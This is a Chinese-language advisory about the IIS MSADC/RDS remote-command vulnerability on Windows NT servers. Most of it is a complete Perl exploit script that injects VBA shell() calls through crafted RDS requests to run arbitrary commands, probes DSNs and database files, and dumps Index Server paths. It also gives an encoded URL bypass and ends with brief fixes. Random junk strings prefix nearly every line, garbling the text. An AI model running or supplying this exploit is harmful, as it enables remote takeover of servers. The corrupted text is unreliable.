IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
P#V!hfM \O "`o4 涉及程序:
.o`Io[io Microsoft NT server
Ny7*MZ- T>%
5<P 描述:
#&kj> 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
/J-'[Mc'D[ xkRMg2X.>9 详细:
kqih`E9P7B 如果你没有时间读详细内容的话,就删除:
1i$VX|r c:\Program Files\Common Files\System\Msadc\msadcs.dll
7\%JJw6h 有关的安全问题就没有了。
1Mp-)-e qA)YYg/G 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
s$pXn&: 8&8!(\xv 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
<9X@\uvU.< 关于利用ODBC远程漏洞的描述,请参看:
yR|2><A Nf!N;Cy? http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm iS+"Jsz .kFO@: 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
7s6+I_n http://www.microsoft.com/security/bulletins/MS99-025faq.asp Ed u(dZbKg {DP9^hg 这里不再论述。
WlQCP C @;OsHudd 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
o]&q'>Rf /jJD
{ /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
*]U`]!Esp 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
N\__a~'0p %r1#G.2YW &,G2<2_ b #将下面这段保存为txt文件,然后: "perl -x 文件名"
ZH\t0YhrVe (4 ZeyG@ #!perl
o+{,>t #
AA[1[ # MSADC/RDS 'usage' (aka exploit) script
N8Rq7i3F?a #
*nU5PSs # by rain.forest.puppy
0yC~"u[N Y #
' F.^ 8/> # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
;=0mL, # beta test and find errors!
GalSqtbmDt gNP1UH4m use Socket; use Getopt::Std;
Z(|$[GZP[ getopts("e:vd:h:XR", \%args);
1+$F= M~ k"cMAu. print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
I[|Y
2i btEyvqs~X if (!defined $args{h} && !defined $args{R}) {
D^O[_/i& print qq~
%"
bI2 Usage: msadc.pl -h <host> { -d <delay> -X -v }
&2u
|7U. -h <host> = host you want to scan (ip or domain)
b
3Q6- -d <seconds> = delay between calls, default 1 second
2{=D)aC$f -X = dump Index Server path table, if available
B1|nT?}J( -v = verbose
xK_UkB-$i -e = external dictionary file for step 5
z9IW&f~~P u]NsCHKlT Or a -R will resume a command session
c>D~MCNxg u=InE|SH ~; exit;}
;&J>a8B$ >xo<i8<Miv $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
1 jB0gNe if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
dj(&"P if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
-(TC' if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
.TA)|df
^ $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
El9T>!Z if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
5r
4~vK 7I w^ if (!defined $args{R}){ $ret = &has_msadc;
#sCR} die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
?P[:,0_ w~Q\:<x&~Z print "Please type the NT commandline you want to run (cmd /c assumed):\n"
m-uXQS^@G . "cmd /c ";
Vc9Bg2f5 $in=<STDIN>; chomp $in;
":+d7xR?o $command="cmd /c " . $in ;
</_QldL_ ,H6P% if (defined $args{R}) {&load; exit;}
j%`
C @uyQH c,V print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
&q|vvF<G &try_btcustmr;
W[J2>`k9 0-uj0"r` print "\nStep 2: Trying to make our own DSN...";
aB~k8]q. &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
m,+PYq 9J7yR}2-F print "\nStep 3: Trying known DSNs...";
5(CInl &known_dsn;
YG0/e#5 F>{bVPh
VA print "\nStep 4: Trying known .mdbs...";
#g$I>\O< &known_mdb;
)wjpxr i695P}J2 if (defined $args{e}){
Pq+|*Y<|& print "\nStep 5: Trying dictionary of DSN names...";
X~VI} dJ &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
=:g\I6'a =t_+ajY% print "Sorry Charley...maybe next time?\n";
`m(ZX\W] exit;
A 94:(z;{ Y_n/rD> ##############################################################################
m_Hg!Lg :a&M]+! sub sendraw { # ripped and modded from whisker
]g$ky.; sleep($delay); # it's a DoS on the server! At least on mine...
46T(1_Xt~ my ($pstr)=@_;
y g(Na socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
Ynf "g#( die("Socket problems\n");
LkYcFD if(connect(S,pack "SnA4x8",2,80,$target)){
aOg9Dqtg)f select(S); $|=1;
YvG$2F |_) print $pstr; my @in=<S>;
&J/!D# select(STDOUT); close(S);
Cw:|(`9 return @in;
oO[eer_S- } else { die("Can't connect...\n"); }}
qmpT G:+ AoGpM,W]5 ##############################################################################
_hV34:1F _)vX_gCi sub make_header { # make the HTTP request
]vcT2lr] my $msadc=<<EOT
NaoOgZ? POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
_`=qc/-0 User-Agent: ACTIVEDATA
V#,|#2otZ Host: $ip
, Zie2I?q Content-Length: $clen
*j83E[(] Connection: Keep-Alive
W!ug^2" r:o9:w: ADCClientVersion:01.06
E^n!h06~G Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
@dK_w'W lW-G]V --!ADM!ROX!YOUR!WORLD!
A
,0}bFK Content-Type: application/x-varg
Hvz;[! Content-Length: $reqlen
%fld<O _gK}Gi?| EOT
ZJbaioc\ ; $msadc=~s/\n/\r\n/g;
MbYgGE,LA return $msadc;}
AiR#:r ?@x$ h ##############################################################################
.mrv"k\< 1H">Rb30@ sub make_req { # make the RDS request
P2ySjgd my ($switch, $p1, $p2)=@_;
vRaxB my $req=""; my $t1, $t2, $query, $dsn;
4
w*m]D{ }L Q%% if ($switch==1){ # this is the btcustmr.mdb query
mgjcA5z $query="Select * from Customers where City=" . make_shell();
gF9GU5T: $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
@+~URIG) $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
'U&]KSzxv `@\FpV[|P elsif ($switch==2){ # this is general make table query
?-&k?I $query="create table AZZ (B int, C varchar(10))";
?7CdJgJp $dsn="$p1";}
2vUcSKG7 D3g5#.$,}> elsif ($switch==3){ # this is general exploit table query
+-t&li%F $query="select * from AZZ where C=" . make_shell();
(Q `Ps/ $dsn="$p1";}
x^[0UA]S9 !|VtI$I>x elsif ($switch==4){ # attempt to hork file info from index server
~^Al#@ $query="select path from scope()";
s$f9?(,.Ay $dsn="Provider=MSIDXS;";}
se3EI1e ec^{ez@` elsif ($switch==5){ # bad query
y<IHZq`C3 $query="select";
L6qK3xa} $dsn="$p1";}
L1lDDS# E}w5.1 $t1= make_unicode($query);
;gHcDnH) $t2= make_unicode($dsn);
LmsPS.It $req = "\x02\x00\x03\x00";
Qj
[p/H$ $req.= "\x08\x00" . pack ("S1", length($t1));
(F;*@Z*R $req.= "\x00\x00" . $t1 ;
1F0];{a $req.= "\x08\x00" . pack ("S1", length($t2));
56c3tgVF $req.= "\x00\x00" . $t2 ;
]E:L $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
"6WJj3hN return $req;}
}n^}%GB _,F\%} ##############################################################################
MftaT5 ZrP
8/> sub make_shell { # this makes the shell() statement
B[&l<*O-y return "'|shell(\"$command\")|'";}
yIpgZ0:h #Sy~t{4 ##############################################################################
i%f
C`@ ,,EG"Um6 sub make_unicode { # quick little function to convert to unicode
U;ujN 8 my ($in)=@_; my $out;
!f!YMpN for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
]*$o qn=m return $out;}
&% (1?\~u WzdlrkD ##############################################################################
Eos;7$u[
iH>JR[A sub rdo_success { # checks for RDO return success (this is kludge)
8PeVHpZ my (@in) = @_; my $base=content_start(@in);
g-x;a0MQx if($in[$base]=~/multipart\/mixed/){
8j]QnH0& return 1 if( $in[$base+10]=~/^\x09\x00/ );}
C2iOF /4 return 0;}
m=pH G RAEN
&M ##############################################################################
&QHmo* TgRG6?#^l sub make_dsn { # this makes a DSN for us
Ak`?,*LM my @drives=("c","d","e","f");
\8{Tj54NA print "\nMaking DSN: ";
2l+'p[b0> foreach $drive (@drives) {
02^\np print "$drive: ";
Zia6m[ ^Q my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
ex|)3|J "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
a(JtGjTf& . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
y
</i1qM $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
CpgaQG^ return 0 if $2 eq "404"; # not found/doesn't exist
Ym]rG
4 if($2 eq "200") {
! "08TCc< foreach $line (@results) {
guy!/zQ>A return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
@[/!e`]+ } return 0;}
%<q"&]e, )5<dmK@ ##############################################################################
Vz5<Gr DAN"&& sub verify_exists {
u0uz~ s my ($page)=@_;
3WfZ zb+ my @results=sendraw("GET $page HTTP/1.0\n\n");
Y8mv[+Z return $results[0];}
>qI: ZkMHy1 ##############################################################################
(Zy=e?E, hL;??h,!_ sub try_btcustmr {
1mEW]z my @drives=("c","d","e","f");
O1]XoUH< my @dirs=("winnt","winnt35","winnt351","win","windows");
9 771D aO<H!hK foreach $dir (@dirs) {
F zBny[F print "$dir -> "; # fun status so you can see progress
zlh\P` foreach $drive (@drives) {
a ?wg~|g print "$drive: "; # ditto
9FT==> $reqlen=length( make_req(1,$drive,$dir) ) - 28;
3fop.%( $reqlenlen=length( "$reqlen" );
b` 9Zin $clen= 206 + $reqlenlen + $reqlen;
Ki)hr%UFw \\"CgH- my @results=sendraw(make_header() . make_req(1,$drive,$dir));
.=
8Es# if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
!\&4,l( else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
H/G;hk 3bugVJ93 ##############################################################################
)4+uM'2% ."q8 YaW sub odbc_error {
q,'~=Y5 my (@in)=@_; my $base;
SYOU&* my $base = content_start(@in);
8wS9%+ if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
f
K4M:_u $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
WN#dR~> $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Hp
fTuydU $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
=0U"07%} return $in[$base+4].$in[$base+5].$in[$base+6];}
y2C/DyuAY| print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
\g@jc OKU print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
L\<J|87p? $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
%cMayCaI!@ J=DD/Gp ##############################################################################
^A;ec
h7I y|.dM.9V sub verbose {
A<g5:\3 my ($in)=@_;
rHtX4;f+>< return if !$verbose;
+d6Jrd* print STDOUT "\n$in\n";}
sy9Yd PPE Y9(BxDP_+Y ##############################################################################
ewinG-hX_ t2%gS"
[ sub save {
#+3I$ k my ($p1, $p2, $p3, $p4)=@_;
?Vr~~v"fg8 open(OUT, ">rds.save") || print "Problem saving parameters...\n";
]"1\z>Hg print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
j)O8&[y= close OUT;}
;77q~_g$ A'? W5~F ##############################################################################
D-5~CK4` Z~7} sub load {
xWty2/!h my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
0h 2MmI# open(IN,"<rds.save") || die("Couldn't open rds.save\n");
RQ51xTOL4] @p=<IN>; close(IN);
'nqVcNgb $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
"}UYsXg $target= inet_aton($ip) || die("inet_aton problems");
%gx>| print "Resuming to $ip ...";
tgm(tDL $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
Yf^/YLLS if($p[1]==1) {
O[')[uo8s $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
gq?~*4H $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
>z8y L+ my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
}(if|skau if (rdo_success(@results)){print "Success!\n";}
E{|n\| else { print "failed\n"; verbose(odbc_error(@results));}}
+Sdki:: elsif ($p[1]==3){
$U5$*R@jo[ if(run_query("$p[3]")){
X1h*.reFAL print "Success!\n";} else { print "failed\n"; }}
v{>9&o.J elsif ($p[1]==4){
$S!WW|9j. if(run_query($drvst . "$p[3]")){
#*K!@X print "Success!\n"; } else { print "failed\n"; }}
X<$8'/p r exit;}
: ]JsUb{YK \"@ `Rf
##############################################################################
>z a= v L`Q9-#Y sub create_table {
`r8bBzr@% my ($in)=@_;
8 K>Ejr $reqlen=length( make_req(2,$in,"") ) - 28;
,}42]%$G $reqlenlen=length( "$reqlen" );
9]/ju $clen= 206 + $reqlenlen + $reqlen;
W.U|mNJ$ my @results=sendraw(make_header() . make_req(2,$in,""));
\~q cYp return 1 if rdo_success(@results);
o!t1EPJE* my $temp= odbc_error(@results); verbose($temp);
-wV0Nv(V8 return 1 if $temp=~/Table 'AZZ' already exists/;
38q0iAH return 0;}
'r?OzFtxh g7W\
& ##############################################################################
I*)eP|| ma4r/8Q sub known_dsn {
gbRdng7(} # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
/-)|dP my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
-`ykVHgg "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
U^X8{,8O "banner", "banners", "ads", "ADCDemo", "ADCTest");
-?<L"u 5Bc)QKh`l| foreach $dSn (@dsns) {
? &;d)TQ print ".";
ed)!Snz next if (!is_access("DSN=$dSn"));
N[,/VCW if(create_table("DSN=$dSn")){
pV))g
e\ print "$dSn successful\n";
y7s.6i}7 if(run_query("DSN=$dSn")){
0H{0aQQ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
x5Ee'G( print "Something's borked. Use verbose next time\n";}}} print "\n";}
T)B1V,2j= 8M'6Kcr ##############################################################################
{ e% l+V5dZ8W sub is_access {
"ae55ft// my ($in)=@_;
yo0?QRT $reqlen=length( make_req(5,$in,"") ) - 28;
_j2h3lCT $reqlenlen=length( "$reqlen" );
!P26$US%P $clen= 206 + $reqlenlen + $reqlen;
rJm%qSZz my @results=sendraw(make_header() . make_req(5,$in,""));
}t #Hq my $temp= odbc_error(@results);
f?C !Br} verbose($temp); return 1 if ($temp=~/Microsoft Access/);
SB[,}h<u1 return 0;}
KhV;
/>( ( Dl68]FX ##############################################################################
y0'" w8g36v*+(u sub run_query {
0-+`{j my ($in)=@_;
Vkb&'
rXw+ $reqlen=length( make_req(3,$in,"") ) - 28;
^i^S1h"
$reqlenlen=length( "$reqlen" );
j{'@g[HW $clen= 206 + $reqlenlen + $reqlen;
gB@Wv91 my @results=sendraw(make_header() . make_req(3,$in,""));
.tb~f@xL return 1 if rdo_success(@results);
ARu^hz= my $temp= odbc_error(@results); verbose($temp);
5+O#5"v_ return 0;}
4[&6yHJ^ ",rA ##############################################################################
u$[T8UqF ~1h-LbFI2 sub known_mdb {
=kLg)a | my @drives=("c","d","e","f","g");
SwuadN my @dirs=("winnt","winnt35","winnt351","win","windows");
;"nEEe]? my $dir, $drive, $mdb;
HnqZ7%jeN my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
U-s6h;^O 3^us;aOr # this is sparse, because I don't know of many
qO9_e my @sysmdbs=( "\\catroot\\icatalog.mdb",
<`9:hPp0 "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
\rf1#Em "\\system32\\certmdb.mdb",
t>v']a +k "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
EH$wWl^ i,,>@R my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
z[
;{p.W "\\cfusion\\cfapps\\forums\\forums_.mdb",
. yu "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
LVLh&9 "\\cfusion\\cfapps\\security\\realm_.mdb",
j{P,(- "\\cfusion\\cfapps\\security\\data\\realm.mdb",
:7!/FBd "\\cfusion\\database\\cfexamples.mdb",
8LwbOR" "\\cfusion\\database\\cfsnippets.mdb",
9H3#8T] ; "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
sEvJ!$Tt?I "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
}%R6Su]y "\\cfusion\\brighttiger\\database\\cleam.mdb",
xt"/e-h} "\\cfusion\\database\\smpolicy.mdb",
]@ [=FK^ "\\cfusion\\database\cypress.mdb",
}wkBa] "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
5>w>J "\\website\\cgi-win\\dbsample.mdb",
9AL\6@<a* "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
)-a_,3x%j "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
C>;yW7*g" ); #these are just
r% '2a+}D foreach $drive (@drives) {
5#f&WL*U@ foreach $dir (@dirs){
D#m+w foreach $mdb (@sysmdbs) {
`u-VGd\ print ".";
J= |[G' if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
"rjJ"u1 print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
-RH ?FJ if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
=C\S6bF% print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
ak;Z; } else { print "Something's borked. Use verbose next time\n"; }}}}}
WuGm~<NS #G{T(0<F foreach $drive (@drives) {
$C)@GGY foreach $mdb (@mdbs) {
v @N8v print ".";
KQ9:lJKr if(create_table($drv . $drive . $dir . $mdb)){
t8)Fkx#8} print "\n" . $drive . $dir . $mdb . " successful\n";
Cm;N5i if(run_query($drv . $drive . $dir . $mdb)){
iy: ;g print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
Y9w=[[1 } else { print "Something's borked. Use verbose next time\n"; }}}}
%r!# }
H[Pb Wy: puqH%m+u ##############################################################################
>LU*F|F]B KuI>:i; sub hork_idx {
yMSRUQ
x print "\nAttempting to dump Index Server tables...\n";
dF.T6b print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
eNNgxQw>m $reqlen=length( make_req(4,"","") ) - 28;
_1R`xbV $reqlenlen=length( "$reqlen" );
Z *ZG5e $clen= 206 + $reqlenlen + $reqlen;
n`:l`n>N$ my @results=sendraw2(make_header() . make_req(4,"",""));
\AK|~:\] if (rdo_success(@results)){
"?9fL#8f*! my $max=@results; my $c; my %d;
&gEu%s^wR for($c=19; $c<$max; $c++){
bo -Gh` $results[$c]=~s/\x00//g;
x)*/3[ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
vp_ $6 $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
<WbD4Q<3? $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
7e=a D~f $d{"$1$2"}="";}
\qTn"1bQ foreach $c (keys %d){ print "$c\n"; }
YHRI U Yd } else {print "Index server doesn't seem to be installed.\n"; }}
d,)F #;^5 Z.mV fy% ##############################################################################
<m6I)}K p$%h!.~99T sub dsn_dict {
}.gg!V'9w open(IN, "<$args{e}") || die("Can't open external dictionary\n");
#U_u~7?H$ while(<IN>){
z~Pmh%b $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
``E;!r="v next if (!is_access("DSN=$dSn"));
m5x>._7le if(create_table("DSN=$dSn")){
<NAR'{f print "$dSn successful\n";
BA>0
+ if(run_query("DSN=$dSn")){
Q)}\4&4 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
s]&y\Z print "Something's borked. Use verbose next time\n";}}}
%!$-N!e print "\n"; close(IN);}
+|8Lt[^ux 2b"5/$|6 ##############################################################################
bT*4Qd4W nRE}F5k sub sendraw2 { # ripped and modded from whisker
1aDDl-8, sleep($delay); # it's a DoS on the server! At least on mine...
d!LV@</ my ($pstr)=@_;
<V8i>LBlz socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
}mGD`5[` die("Socket problems\n");
aKUr":z if(connect(S,pack "SnA4x8",2,80,$target)){
|zT0g]WH print "Connected. Getting data";
'q^Gg;c>+ open(OUT,">raw.out"); my @in;
D8 #q.OR] select(S); $|=1; print $pstr;
&Egn`QU while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
%7@H7^s}9 close(OUT); select(STDOUT); close(S); return @in;
0l6djN } else { die("Can't connect...\n"); }}
R`?^%1^N .5ycO ##############################################################################
%i
" %N sub content_start { # this will take in the server headers
Q(IS= my (@in)=@_; my $c;
iHn]yv3
#
for ($c=1;$c<500;$c++) {
wEbs E<</ if($in[$c] =~/^\x0d\x0a/){
/
IS WC if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
j)DZmGg&t else { return $c+1; }}}
wE \c?*k return -1;} # it should never get here actually
MdjLAD)f+C Os!22 O ##############################################################################
;$E[u)l M(E_5@?3 sub funky {
*Kkw,qp/ my (@in)=@_; my $error=odbc_error(@in);
9"RfL7{ if($error=~/ADO could not find the specified provider/){
rQm print "\nServer returned an ADO miscofiguration message\nAborting.\n";
8'[wa exit;}
-8jqC6mQ if($error=~/A Handler is required/){
2ML6Lkk print "\nServer has custom handler filters (they most likely are patched)\n";
!dH&IEP~ exit;}
~
7Nyi dV; if($error=~/specified Handler has denied Access/){
v`w?QIB] print "\nServer has custom handler filters (they most likely are patched)\n";
L
_y|l5 exit;}}
>[: 2 j*`!o/=LI ##############################################################################
nQHd\/B
N6[^62 sub has_msadc {
.rm7Sd4K my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
Umt ia~x=& my $base=content_start(@results);
kAliCD) return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
')-(N
um return 0;}
\KXEw2S z}tp0~C ########################
mO>
M=2A @<=#i z=_{jjs 解决方案:
,b(S=r 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
s3Ce]MH 2、移除web 目录: /msadc